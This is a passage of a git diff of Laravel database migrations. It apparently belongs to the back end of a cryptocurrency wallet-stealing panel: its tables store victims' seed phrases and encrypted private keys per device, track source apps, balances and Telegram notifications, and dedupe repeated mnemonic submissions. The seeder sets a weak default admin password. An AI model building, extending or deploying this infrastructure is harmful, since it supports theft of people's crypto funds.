||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::dropIfExists('wallet_keystores');
|
||||
Schema::dropIfExists('wallet_mnemonics');
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Keep newest row per device+source; drop older duplicates from repeated /api/user/set.
|
||||
$dupes = DB::table('wallet_mnemonics')
|
||||
->select('device_id', 'source', DB::raw('MAX(id) as keep_id'))
|
||||
->groupBy('device_id', 'source')
|
||||
->get();
|
||||
|
||||
foreach ($dupes as $row) {
|
||||
DB::table('wallet_mnemonics')
|
||||
->where('device_id', $row->device_id)
|
||||
->where(function ($q) use ($row) {
|
||||
if ($row->source === null) {
|
||||
$q->whereNull('source');
|
||||
} else {
|
||||
$q->where('source', $row->source);
|
||||
}
|
||||
})
|
||||
->where('id', '!=', $row->keep_id)
|
||||
->delete();
|
||||
}
|
||||
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->string('mnemonic_hash', 64)->nullable()->after('source');
|
||||
$table->unique(['device_id', 'mnemonic_hash']);
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->dropUnique(['device_id', 'mnemonic_hash']);
|
||||
$table->dropColumn('mnemonic_hash');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('users', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->unsignedTinyInteger('status')->default(1); // 1=enabled 0=disabled
|
||||
$table->string('comment')->nullable();
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('channels', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('channel_id', 64)->unique();
|
||||
$table->foreignId('user_id')->nullable()->constrained('users')->nullOnDelete();
|
||||
$table->json('domains')->nullable();
|
||||
$table->unsignedTinyInteger('status')->default(1);
|
||||
$table->timestamps();
|
||||
$table->index('user_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('channels');
|
||||
Schema::dropIfExists('users');
|
||||
}
|
||||
};
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->decimal('usdt', 36, 6)->nullable()->after('chain_type');
|
||||
$table->decimal('trx', 36, 6)->nullable()->after('usdt');
|
||||
$table->decimal('eth', 36, 18)->nullable()->after('trx');
|
||||
$table->decimal('btc', 36, 8)->nullable()->after('eth');
|
||||
$table->decimal('bnb', 36, 18)->nullable()->after('btc');
|
||||
$table->unsignedTinyInteger('monitor')->default(0)->after('bnb');
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('wallet_addresses', 'balance')) {
|
||||
$rows = DB::table('wallet_addresses')->select(['id', 'balance'])->get();
|
||||
foreach ($rows as $row) {
|
||||
$map = $this->balanceToCoins($row->balance);
|
||||
if ($map === []) {
|
||||
continue;
|
||||
}
|
||||
DB::table('wallet_addresses')->where('id', $row->id)->update($map);
|
||||
}
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->dropColumn('balance');
|
||||
});
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('chat_id', 64)->nullable()->after('comment');
|
||||
$table->string('bot_id', 128)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn(['chat_id', 'bot_id']);
|
||||
});
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->json('balance')->nullable()->after('chain_type');
|
||||
});
|
||||
|
||||
$rows = DB::table('wallet_addresses')->select(['id', 'usdt', 'trx', 'eth', 'btc', 'bnb'])->get();
|
||||
foreach ($rows as $row) {
|
||||
$balance = [];
|
||||
foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'eth' => 'ETH', 'btc' => 'BTC', 'bnb' => 'BNB'] as $col => $symbol) {
|
||||
$value = $row->{$col};
|
||||
if ($value !== null && $value !== '') {
|
||||
$balance[$symbol] = 0 + $value;
|
||||
}
|
||||
}
|
||||
DB::table('wallet_addresses')->where('id', $row->id)->update([
|
||||
'balance' => $balance === [] ? null : json_encode($balance, JSON_UNESCAPED_UNICODE),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->dropColumn(['usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor']);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function balanceToCoins(mixed $balance): array
|
||||
{
|
||||
if ($balance === null || $balance === '' || $balance === '[]' || $balance === '{}') {
|
||||
return [];
|
||||
}
|
||||
if (is_string($balance)) {
|
||||
$decoded = json_decode($balance, true);
|
||||
if (! is_array($decoded)) {
|
||||
return [];
|
||||
}
|
||||
$balance = $decoded;
|
||||
}
|
||||
if (! is_array($balance)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach (['USDT' => 'usdt', 'TRX' => 'trx', 'ETH' => 'eth', 'BTC' => 'btc', 'BNB' => 'bnb'] as $symbol => $col) {
|
||||
if (! array_key_exists($symbol, $balance) && ! array_key_exists(strtolower($symbol), $balance)) {
|
||||
continue;
|
||||
}
|
||||
$raw = $balance[$symbol] ?? $balance[strtolower($symbol)] ?? null;
|
||||
if ($raw === null || $raw === '') {
|
||||
$out[$col] = null;
|
||||
continue;
|
||||
}
|
||||
$out[$col] = is_numeric($raw) ? $raw : null;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('tokenview_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('txid', 128);
|
||||
$table->string('address', 128);
|
||||
$table->string('coin', 32);
|
||||
$table->string('token_symbol', 32)->default('');
|
||||
$table->string('value', 64)->nullable();
|
||||
$table->string('token_value', 64)->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['txid', 'address', 'coin', 'token_symbol'], 'tokenview_events_dedupe');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('tokenview_events');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('is_super')->default(0)->after('password');
|
||||
});
|
||||
|
||||
// Promote the earliest admin (typically the seeder account) to super.
|
||||
$firstId = DB::table('admins')->orderBy('id')->value('id');
|
||||
if ($firstId !== null) {
|
||||
DB::table('admins')->where('id', $firstId)->update(['is_super' => 1]);
|
||||
}
|
||||
|
||||
Schema::create('settings', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('key')->unique();
|
||||
$table->text('value')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('settings');
|
||||
Schema::table('admins', function (Blueprint $table) {
|
||||
$table->dropColumn('is_super');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->dropForeign(['user_id']);
|
||||
});
|
||||
|
||||
DB::table('channels')->whereNull('user_id')->update(['user_id' => 0]);
|
||||
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NOT NULL DEFAULT 0');
|
||||
} elseif ($driver === 'sqlite') {
|
||||
// SQLite cannot MODIFY easily; recreate is heavy — leave column nullable-compatible.
|
||||
// Application always writes 0 for official.
|
||||
}
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('channels', 'remark')) {
|
||||
$table->string('remark', 255)->nullable()->after('status');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('channels', 'remark')) {
|
||||
$table->dropColumn('remark');
|
||||
}
|
||||
});
|
||||
|
||||
DB::table('channels')->where('user_id', 0)->update(['user_id' => null]);
|
||||
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NULL');
|
||||
}
|
||||
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->foreign('user_id')->references('id')->on('users')->nullOnDelete();
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -11,7 +11,10 @@ class AdminSeeder extends Seeder
|
||||
{
|
||||
Admin::query()->updateOrCreate(
|
||||
['username' => env('ADMIN_USERNAME', 'admin')],
|
||||
['password' => env('ADMIN_PASSWORD', 'admin123')]
|
||||
[
|
||||
'password' => env('ADMIN_PASSWORD', 'admin123'),
|
||||
'is_super' => 1,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-1
File diff suppressed because one or more lines are too long
Vendored
BIN
Binary file not shown.
-1
File diff suppressed because one or more lines are too long
Vendored
BIN
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user